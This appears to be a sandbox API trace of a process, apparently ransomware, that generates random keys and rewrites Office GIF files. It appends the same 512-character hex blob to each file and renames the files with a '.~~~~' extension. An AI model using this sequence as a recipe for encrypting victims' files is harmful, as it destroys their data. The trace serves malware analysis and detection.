	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e378
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e378 | out: hHeap=0x300000) returned 1
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0128.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ba08
	[0128.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0128.506] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.506] GetLastError () returned 0x0
	[0128.507] GetLastError () returned 0x0
	[0128.507] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.507] GetLastError () returned 0x0
	[0128.507] GetLastError () returned 0x0
	[0128.508] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.508] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xf5, lpOverlapped=0x0) returned 1
	[0128.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.510] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.510] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.510] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.510] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.510] CloseHandle (hObject=0x138) returned 1
	[0128.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0128.510] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif.~~~~")) returned 1
	[0128.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0128.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.512] GetLastError () returned 0x0
	[0128.512] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.513] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.513] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.513] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24850320448) returned 1
	[0128.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb60d4110, dwHighDateTime=0x1d60e1e)) 
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e260
	[0128.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e260 | out: hHeap=0x300000) returned 1
	[0128.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bace8
	[0128.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ba08
	[0128.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bace8 | out: hHeap=0x300000) returned 1
	[0128.514] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.514] GetLastError () returned 0x0
	[0128.514] GetLastError () returned 0x0
	[0128.514] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.514] GetLastError () returned 0x0
	[0128.514] GetLastError () returned 0x0
	[0128.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.516] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xec, lpOverlapped=0x0) returned 1
	[0128.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.518] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.518] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.518] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.518] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.518] CloseHandle (hObject=0x138) returned 1
	[0128.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bace8
	[0128.519] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif.~~~~")) returned 1
	[0128.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bace8 | out: hHeap=0x300000) returned 1
	[0128.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.520] GetLastError () returned 0x0
	[0128.521] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.522] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.522] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.522] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24851204916) returned 1
	[0128.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb60fa270, dwHighDateTime=0x1d60e1e)) 
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e228
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e228 | out: hHeap=0x300000) returned 1
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb960
	[0128.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ba08
	[0128.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0128.523] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.523] GetLastError () returned 0x0
	[0128.523] GetLastError () returned 0x0
	[0128.523] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.523] GetLastError () returned 0x0
	[0128.523] GetLastError () returned 0x0
	[0128.524] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.525] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc8, lpOverlapped=0x0) returned 1
	[0128.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.526] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.526] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.527] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.527] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.527] CloseHandle (hObject=0x138) returned 1
	[0128.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb960
	[0128.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif.~~~~")) returned 1
	[0129.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0129.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.040] GetLastError () returned 0x0
	[0129.040] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0129.042] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.042] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0129.042] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24903214870) returned 1
	[0129.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb65e2fd0, dwHighDateTime=0x1d60e1e)) 
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa6d0
	[0129.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa6d0 | out: hHeap=0x300000) returned 1
	[0129.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806890
	[0129.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806890 | out: hHeap=0x300000) returned 1
	[0129.043] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0129.043] GetLastError () returned 0x0
	[0129.044] GetLastError () returned 0x0
	[0129.044] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0129.044] GetLastError () returned 0x0
	[0129.044] GetLastError () returned 0x0
	[0129.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.046] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xf0, lpOverlapped=0x0) returned 1
	[0129.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.049] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.049] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.049] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.049] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.049] CloseHandle (hObject=0x138) returned 1
	[0129.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806890
	[0129.050] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif.~~~~")) returned 1
	[0129.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806890 | out: hHeap=0x300000) returned 1
	[0129.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.051] GetLastError () returned 0x0
	[0129.052] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0129.053] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.053] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0129.053] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24904345973) returned 1
	[0129.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb6609130, dwHighDateTime=0x1d60e1e)) 
	[0129.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa698
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa698 | out: hHeap=0x300000) returned 1
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806b30
	[0129.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806b30 | out: hHeap=0x300000) returned 1
	[0129.054] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0129.054] GetLastError () returned 0x0
	[0129.055] GetLastError () returned 0x0
	[0129.055] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0129.055] GetLastError () returned 0x0
	[0129.055] GetLastError () returned 0x0
	[0129.162] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffed5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.305] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x12b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x12b, lpOverlapped=0x0) returned 1
	[0129.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.307] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.308] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.308] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.308] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.308] CloseHandle (hObject=0x138) returned 1
	[0129.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28065f0
	[0129.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif.~~~~")) returned 1
	[0129.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28065f0 | out: hHeap=0x300000) returned 1
	[0129.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.352] GetLastError () returned 0x0
	[0129.354] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0129.355] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.355] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
